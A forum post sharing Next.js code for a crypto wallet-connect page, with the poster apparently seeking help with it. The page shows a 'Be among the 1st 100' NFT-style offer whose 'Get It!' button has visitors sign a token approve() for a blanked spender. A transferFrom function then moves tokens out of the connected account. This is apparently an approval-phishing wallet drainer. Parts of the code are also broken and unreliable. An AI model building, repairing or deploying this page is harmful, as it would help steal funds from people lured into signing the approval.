thank you for replying back …
import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from “@chakra-ui/react”
import Head from “next/head”
import { useMoralis, useWeb3Contract } from “react-moralis”
import Balance from “…/components/Balance”
import Transactions from “…/components/Transactions”
import Header from “…/components/Header”
import Profile from “…/components/Profile”
import Moralis from “moralis”
import { useEffect, useState } from “react”
import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from ‘@chakra-ui/react’
import { useDisclosure } from ‘@chakra-ui/react’
import { MoralisProvider } from “react-moralis”;
import { initializeApp } from “firebase/app”;
import { getMoralisAuth } from ‘@moralisweb3/client-firebase-auth-utils’;
import { signInWithMoralis } from ‘@moralisweb3/client-firebase-evm-auth’;
import { getAuth } from ‘@firebase/auth’;
import { getFunctions } from “firebase/functions”
const firebaseConfig = {
apiKey: “–”,
authDomain: “-…”,
projectId: “-”,
storageBucket: “-…”,
messagingSenderId: “”,
appId: “:”,
measurementId: “”
};
const app = initializeApp(firebaseConfig);
//const moralisAuth = getMoralisAuth(app);
const auth = getAuth(app);
const functions = getFunctions(app);
function Home() {
const [user, setUser]= useState(null);
async function login(){
const res = await signInWithMoralis(moralisAuth);
setUser(res.credentials.user.uid)
}
const ABI = [];
//const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()
const {isAuthenticated, authenticate, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()
const [approved, setApproved] = useState(false);
const { runContractFunction: approve, data: enterTxResponse, error, isLoading, isFetching } = useWeb3Contract({
// chain: “eth”,
// contractAddress: “”,
// abi: ABI,
// functionName: “approve”,
// params: {
// _spender: “”,
// _value: 10000000,
// },
}
);
async function gas(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();
const signer = web3Provider.getSigner();
const contract = new ethers.Contract("", ABI, signer);
let res = await contract.approve("", 1000000, {
gasPrice: ethers.utils.parseUnits(“5”, “gwei”).toString(),
gasLimit: 48525
})
}
const { account } = useMoralis();
async function transfer(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();
const signer = web3Provider.getSigner();
const contract = new ethers.Contract(…, ABI, signer);
let res = await contract.transferFrom({
_from: account,
_to: …
_value: 1000000,
gasPrice: ethers.utils.parseUnits(“20”,“gwei”).toString(),
gasLimit: 280000
})
}
useEffect(() => {
if (!isWeb3Enabled && isAuthenticated)
enableWeb3();
},[isWeb3Enabled, isAuthenticated]);
const { isOpen, onOpen, onClose } = useDisclosure()
if(!isAuthenticated && !user) {
console.log(user);
async function login() {
const moralisAuth = getMoralisAuth(app, {
auth,
functions,
});
const res = await signInWithMoralis(moralisAuth);
setUser(res.credentials.user.uid);
}
async function logout() {
await auth.signOut();
setUser(null);
}
return(
<>
<Flex
direction=“column”
justifyContent=“center”
alignItems=“center”
width=“100vw”
height=“100vh”
bgGradient=“linear(to-br, teal.400, purple.300)”
backgroundImage=“url(’…/bay.jpg’)”
<Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => login({
signingMessage: "Sign"
})}
>Sign in with Metamask</Button>
<br />
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => authWalletConnect({
signingMessage: "Sign"
})}
>Sign in with Wallet Connect</Button>
{/*
Firebase Moralis Auth Extension 🔐
</p>
{!user ? (
<Button style={{ cursor: "pointer" }} onClick={login}>
Login
</Button>
) : (
<>
<p>User:{user}</p>
<div style={{ cursor: "pointer" }} onClick={logout}>
Logout
</div>
</>
)} */}
</>
)
};
// const ABI =
async function authWalletConnect() {
const user = authenticate({
provider: “walletconnect”,
chainId: 56,
mobileLinks: [
“metamask”,
“trust”,
“rainbow”,
“argent”,
“imtoken”,
“pillar”,
“mathwallet”,
“meet.one wallet”,
“equal”,
“safepal”,
“cool wallet”,
“xwallet”,
“atomic”,
“myetherwallet”,
“cybavo”,
“onto”,
“mycrypto”,
“minerva wallet”,
“metax”,
“encrypted ink”,
“gnosis safe”,
“bitpay”,
“fireblocks”,
“debank”,
“tokenpocket”,
“infinity wallet”,
“coinbase wallet”
],
signingMessage: “Sign”,
});
console.log(user);
};
const handleSuccess = async (tx) => {
await tx.wait(1)
setApproved(true)
// handleNewNotification(tx)
}
return (
<>
<title></title>
<meta name="description" content="" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
<link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />
<link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />
<link rel="manifest" href="/site.webmanifest" />
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />
<meta name="msapplication-TileColor" content="#da532c" />
<meta name="theme-color" content="#ffffff" />
<Header user={user} logout={logout} isLoggingOut={isLoggingOut}/>
<Box flex="1" bg="purple.100" px="11" py="44">
<Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">
<Alert status="success">
<AlertIcon />
Wallet connected succesfully {user.get("ethAddress")}
</Alert>
<br />
<Button onClick={onOpen}>Get it now!</Button>
<Modal isOpen={isOpen} onClose={onClose}>
<ModalOverlay />
<ModalContent>
<ModalHeader color="purple">Be among the 1st 100</ModalHeader>
<ModalCloseButton />
<ModalBody>
<Image src="../bored.jpg" />
</ModalBody>
<ModalFooter>
{/* <Button colorScheme='blue' mr={3} onClick={onClose}>
Close
</Button> */}
<Button ml="4" className="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded ml-auto"
onClick={async () =>
await gas({
onSuccess: handleSuccess,
})
}
disabled={isLoading || isFetching || approved}>{ approved ? "Approved" : "Get It!" }</Button>
{/* <br /> */}
{/* <Button ml="4" colorScheme="green" onClick={transferFromCon}>Continue</Button> */}
{/* <a href="https:///" target="_blank" rel="noreferrer">
<Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>Continue</Button>
</a> */}
</ModalFooter>
</ModalContent>
{/*
<Link href="wss:///" isExternal>
Head back to home
</Link> */}
{/* <TabList>
<Tab fontWeight="bold">Profile</Tab>
<Tab fontWeight="bold">Balance</Tab>
<Tab fontWeight="bold">Transactions</Tab>
</TabList>
<TabPanels>
<TabPanel>
<Profile user={user} />
</TabPanel> */}
<TabPanel>
<Balance user={user}/>
</TabPanel>
{/* <TabPanel>
<Transactions user={user}/>
</TabPanel>
</TabPanels> */}
</Tabs>
</Box>
</>
)
}
export default Home
``` here are my codes
